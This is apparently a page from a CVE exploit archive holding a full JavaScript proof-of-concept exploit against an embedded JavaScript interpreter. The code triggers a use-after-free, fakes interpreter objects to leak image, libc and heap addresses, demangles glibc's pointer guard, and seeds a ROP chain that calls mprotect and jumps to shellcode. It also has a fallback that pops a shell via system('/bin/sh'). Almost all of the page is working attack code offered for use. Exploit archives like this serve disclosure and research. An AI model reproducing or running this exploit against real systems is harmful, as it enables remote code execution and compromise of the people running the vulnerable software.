4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
var bail = false;
var debug = true;

//print logs for debugging
function log(str) {
	if (debug === true)
		print(str + "\n");
}

//convert hex string to binary representation
function hex2bin(str) {
	bin_u = parseInt(str.substring(0, 8), 16).toString(2);
	bin_l = parseInt(str.substring(8, 16), 16).toString(2);
	return ljust(bin_u, 16) + ljust(bin_l, 16);
}

//helper function for getting addresses
function add_off(base, off) {
	return ljust((parseInt(base, 16) + off).toString(16), 8);
}

//rotate right
function ror(val, shift, sz) {
	var bits = hex2bin(val);
	bits = bits.substring(sz-shift, sz) + bits.substring(0, sz-shift);
	var bits_u = ljust(parseInt(bits.substring(0, sz/2), 2).toString(16), 4);
	var bits_l = ljust(parseInt(bits.substring(sz/2, sz), 2).toString(16), 4);
	return bits_u + bits_l;
}

//rotate left
function rol(val, shift, sz) {
	var bits = hex2bin(val);
	bits = bits.substring(shift, sz) + bits.substring(0, shift);
	var bits_u = ljust(parseInt(bits.substring(0, sz/2), 2).toString(16), 4);
	var bits_l = ljust(parseInt(bits.substring(sz/2, sz), 2).toString(16), 4);
	return bits_u + bits_l;
}

//glibc ptr demangling
function ptr_demangle(ptr, key) {
	var rot = ror(ptr, 0x11, 64);
	var rot_u = parseInt(rot.substring(0, 8), 16);
	var rot_l = parseInt(rot.substring(8, 16), 16);
	var key_u = parseInt(key.substring(0, 8), 16);
	var key_l = parseInt(key.substring(8, 16), 16);
	var res_u = (rot_u ^ key_u); 
	var res_l = (rot_l ^ key_l);
	if (res_u < 0) {
		res_u = 0xffffffff + res_u + 1;
	}
	if (res_l < 0) {
		res_l = 0xffffffff + res_l + 1;
	}
	res_u = ljust(res_u.toString(16), 4);
	res_l = ljust(res_l.toString(16), 4);
	return res_u + res_l;
}

//glibc ptr mangling
function ptr_mangle(ptr, key) {
	var key_u = parseInt(key.substring(0, 8), 16);
	var key_l = parseInt(key.substring(8, 16), 16);
	var ptr_u = parseInt(ptr.substring(0, 8), 16);
	var ptr_l = parseInt(ptr.substring(8, 16), 16);
	var xored_u = (ptr_u ^ key_u);
	var xored_l = (ptr_l ^ key_l);
	if (xored_u < 0) {
		xored_u = 0xffffffff + xored_u + 1;
	}
	if (xored_l < 0) {
		xored_l = 0xffffffff + xored_l + 1;
	}
	xored_u = ljust(xored_u.toString(16), 4);
	xored_l = ljust(xored_l.toString(16), 4);
	var xored = xored_u + xored_l;
	return rol(xored, 0x11, 64);
}

//convert hex sequence to its double representation
function hex2double(str) {
	var frac_0 = "1";
	var sign = parseInt(parseInt(str[0], 16).toString(2)[0], 2);
	var exp = parseInt(str.substring(0, 3), 16);
	if (exp == 0) {
		exp = 1;
		frac_0 = "0";
	}
	var bias = 1023;
	var fracT = parseInt(frac_0 + str.substring(3, 8), 16) * Math.pow(16, 8);
	var fracB = parseInt(str.substring(8, 16), 16);
	var frac = fracT + fracB;
	var res = Math.pow(2, exp-bias) * (frac * Math.pow(2, -52));
	return (sign) ? res * -1 : res;
}

//pack strings
function p64(str) {
	var encoded = "";
	for (var i=0; i<0x10; i+=2) {
		var curr = str.substring(i, i+2);
		if (curr === "00") {
			continue;
		} else if (parseInt(curr, 16) < 0x7f && parseInt(curr, 16) > 0x1f) {
			encoded = String.fromCharCode(parseInt(curr, 16)) + encoded;
		} else {
			encoded = "%" + curr + encoded;
		}
	}
	return decodeURI(encoded);
}

//unpack strings
function u64(str) {
	var encoded = encodeURI(str);
	var decoded = "";
	for (var i=0; i<encoded.length && decoded.length < 0x10; i++) {
		if (encoded[i] === "%") {
			decoded = encoded[i+1] + encoded[i+2] + decoded;
			i += 2;
		} else {
			val = encoded.charCodeAt(i).toString(16);
			val = (val.length < 2) ? "0" + val : val;
			decoded = val + decoded;
		}
	}
	while (decoded.length < 0x10) {
		decoded = "0" + decoded;
	}
	return decoded;
}

//allocate heap objects to reset bins
function reset_heap(size) {
	log("Spraying heap.");
	var padding = new Array(size);
	for (var i=0; i<size/2; i++) {
		padding[i] = true;
	}
	for (var i=size/2; i<size; i++) {
		padding[i] = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5];
	}
	return padding;
}

//pad left
function ljust(str, sz) {
	while (str.length < sz*2)
		str = "0" + str;
	return str;
}

function fakesort() {

	//get uaf && null out LSB of ptr
	function get_uaf() {
		var pad4buf = "deadbeefbabecafedeadbeefbabecafedeadbeefbabecaf";
		delete victim.temp;
		for (var i=0; i<0x100; i++) {
			fill_buf = "";
			fill_buf = fill_buf.concat(pad4buf);
		}
		return;
	}

	//find fake js_Object offset in array
	function find_offset(arr, obj) {
		var min = 0x0;
		var max = 0xd;
		while (min != max-1) {
			var avg = Math.floor((max + min) / 2);
			for (var i=min; i<avg; i++) {
				obj.headers[i] = js_fun;
			}
			for (var i=avg; i<max; i++) {
				obj.headers[i] = js_obj;
			}
			var type = typeof(arr);
			if (type === "function") {
				max = avg;
			} else {
				min = avg;
			}
		}
		return min;
	}

	//write vals to addr
	function seed_vals(addr, vals) {
		for (var i=vals.length-1; i>=0; i--) {
			victim.headers[off+3] = hex2double(add_off(addr, i*8-8));
			fake_obj[0] = "aaaaaaaa" + p64(vals[i]);
		}
		return;
	}

	//js_Object headers
	var js_obj = 1.0;
	var js_arr = 1.0000000000000002;
	var js_fun = 1.0000000000000004;
	var js_script = 1.0000000000000007;
	var js_cfun = 1.0000000000000009;
	var js_err = 1.000000000000001;
	var js_bool = 1.0000000000000013;
	var js_num = 1.0000000000000016;
	var js_str = 1.0000000000000018;
	var js_regex = 1.000000000000002;
	var js_date = 1.0000000000000022;
	var js_math = 1.0000000000000024;
	var js_json = 1.0000000000000027;
	var js_args = 1.0000000000000029;
	var js_iter = 1.000000000000003;
	var js_user = 1.0000000000000033;

	//variables
	var padding = new Array();
	var limit = 0x50;
	var fill_buf = "";
	var uaf_setter = {set: get_uaf};
	var fake_arr_field = new String();
	fake_arr_field += "000000000";
	var shellcode = "Shellcode goes here ;)";

	//setup
	Object.defineProperty(Object.prototype, "get", uaf_setter);

	while (true) {
		padding.push(reset_heap(0x2000));
		for (var i=0; i<0x7; i++) {
			delete padding[padding.length-1][i];
		}
		var victim = {
			get temp() {
				return;
			},
			headers: [js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_obj, js_obj, js_obj],
			set temp(val) {
				return;
			}
		}
		//trigger vuln
		var res = Object.getOwnPropertyDescriptor(victim, "temp");
		var fake_obj = res.set;
		var type = typeof(fake_obj);
		if (type === "object") {
			log("Offset too small, retrying.");
			continue;
		} else if (type === "function") {
			//find the offset
			var off = find_offset(fake_obj, victim);
			if (off === 0) {
				log("Setter function is base aligned, retrying.");
				continue;
			}
			log("Offset found: " + off);
			//leak main image base
			victim.headers[off] = js_arr;
			victim.headers[off+2] = fake_arr_field;
			victim.headers[off+3] = print;
			var print_addr = u64(fake_obj[2]);
			var img_base = add_off(print_addr, -0x486b0);
			var got_start = add_off(img_base, 0x54000);
			log("Address of image base: " + img_base);
			//leak libc base
			victim.headers[off+3] = hex2double(got_start);
			var fopen_addr = u64(fake_obj[9]);
			var libc_base = add_off(fopen_addr, -0x7f6b0);
			var mprotect_addr = add_off(libc_base, 0x11ec50);
			var system_addr = add_off(libc_base, 0x50d60);
			log("Address of libc base: " + libc_base);
			//leak heap objects
			victim.headers[off+3] = print;
			var print_obj_addr = u64(fake_obj[0x11]);
			var js_state_obj_addr = add_off(print_obj_addr, -0x1fdf0);
			log("Address of js_State object: " + js_state_obj_addr);
			if (bail) {
				log("Popping a shell.");
				victim.headers[off+3] = hex2double(got_start);
				fake_obj[10] = hex2double(system_addr);
				var rce = load("/bin/sh");
				quit();
			}
			//decode ptr guard value
			var js_dofile_off = add_off(img_base, 0x37b5e);
			var try_buf_base = add_off(js_state_obj_addr, 0x1190);
			var try_buf_off = add_off(try_buf_base, 8);
			victim.headers[off+3] = hex2double(try_buf_off);
			var try_rip_man = u64(fake_obj[3]);
			if (try_rip_man.length < 7) {
				log("Cannot decode ptr guard value.");
				bail = true;
				continue;
			}
			var ptr_guard = ptr_demangle(try_rip_man, js_dofile_off);
			log("Mangled setjmp rip: " + try_rip_man);
			log("Decoded ptr_guard value: " + ptr_guard);
			//seed shellcode
			var exe = new String(decodeURI(shellcode));
			victim.headers[off+3] = exe;
			var shellcode_addr = u64(fake_obj[2]);
			var shellcode_aligned = shellcode_addr.substring(0, 0x10-3) + "000";
			log("Address of shellcode: " + shellcode_addr);
			//gadgets: 
			ret = add_off(img_base, 0x401a);
			poprdi = add_off(img_base, 0x4a19);
			poprsi = add_off(img_base, 0x74cb);
			poprdx = add_off(img_base, 0x3d1b2);
			add_sil_sil = add_off(img_base, 0xb2ce);
			inc_rbx_off = add_off(img_base, 0x38fa3);
			//seed ropchain to call mprotect
			var ropchain_addr = add_off(try_buf_base, 0x300);
			var rop = new Array();
			rop.push(poprdx);
			rop.push(ljust("07", 8));
			rop.push(poprsi);
			rop.push(ljust("1080", 8));
			rop.push(add_sil_sil);
			rop.push(inc_rbx_off);
			rop.push(poprdi);
			rop.push(add_off(shellcode_aligned, -1));
			rop.push(mprotect_addr);
			rop.push(shellcode_addr);
			seed_vals(ropchain_addr, rop);
			log("Address of seeded ropchain: " + ropchain_addr);
			//modify try buffer
			var rbx = add_off(ropchain_addr, 0x77f0fd3b + 0x38);
			var rsp = ptr_mangle(ropchain_addr, ptr_guard);
			var rip = ptr_mangle(ret, ptr_guard);
			log("Mangled sp: " + rsp);
			log("Mangled ip: " + rip);
			victim.headers[off+3] = hex2double(add_off(try_buf_base, 0));
			fake_obj[0] = p64(rbx);
			victim.headers[off+3] = hex2double(add_off(try_buf_base, 7));
			fake_obj[0] = 0;
			victim.headers[off+3] = hex2double(add_off(try_buf_base, 0x30));
			fake_obj[0] = p64(rsp);
			victim.headers[off+3] = hex2double(add_off(try_buf_base, 0x38));
			fake_obj[0] = p64(rip);
			log("Modified setjmp buffer: " + try_buf_base);
			//trigger exception && exec shellcode
			victim.headers[off+3] = hex2double(add_off(js_state_obj_addr, 0x1180));
			fake_obj[0] = decodeURI("aaaaaaaa%01");
			log("Standby for RCE :)");
			throw "pwn :]";
		} else {
			//heap state is rly fucked up
			reset_heap(0x5000);
			continue;
		}
		if (padding.length == limit) break;
	}
	return 0;
}

function pwn() {
	var array = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5];
	array.sort(fakesort); //pause the garbage collector
}

pwn();